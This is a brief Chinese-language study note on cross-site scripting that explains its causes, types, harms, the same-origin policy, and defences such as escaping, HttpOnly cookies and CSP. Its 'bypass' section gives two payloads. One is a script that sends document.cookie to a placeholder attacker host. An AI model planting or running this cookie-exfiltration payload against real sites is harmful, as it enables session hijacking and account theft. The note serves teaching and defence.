1.原理
网站对用户输入过滤不足,攻击者可以输入恶意前端代码到网页,从而达到攻击者的特殊目的,如 cookie窃取等。
2.漏洞点
任何有参数输入的地方都可能有xss
3.分类
反射性XSS 存储型XSS DOM型XSS等
4.危害
前端代码能做的事,xss都能做,钓鱼,cookie,弹广告,配合csrf
网络钓鱼,包括获取各类用户账号;
窃取用户 cookies 资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;
劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;
强制弹出广告页面、刷流量等;
网页挂马;
进行恶意操作,如任意篡改页面信息、删除文章等;
进行大量的客户端攻击,如 ddos 等;
5.同源策略
协议相同 主机相同 端口相同
JSONP跨域:A向B发送请求,B将A所请求的信息封装为JSON返回
CORS是一个W3C标准,全称是"跨域资源共享",它允许浏览器向跨域服务器,发出 XMLHttpRequest请求,CORS通信过程浏览器自动完成,不需要用户参与。
6.绕过
<script>alert("xss");</script>
<script>window.location.href='http://x.x.x.x/get.php?c='+document.cookie< /script>
7.防御
1.纯前端渲染
2.过滤一些关键字,以及过滤或转义& < > " ' /
等危险字符,如xss转义<>,则会放弃该xss漏洞点
3.设置HTTP-only,禁止JavaScript获取敏感 Cookie
4.设置CSP(Content Security Policy),以白名单的形式配置可信任的内容来源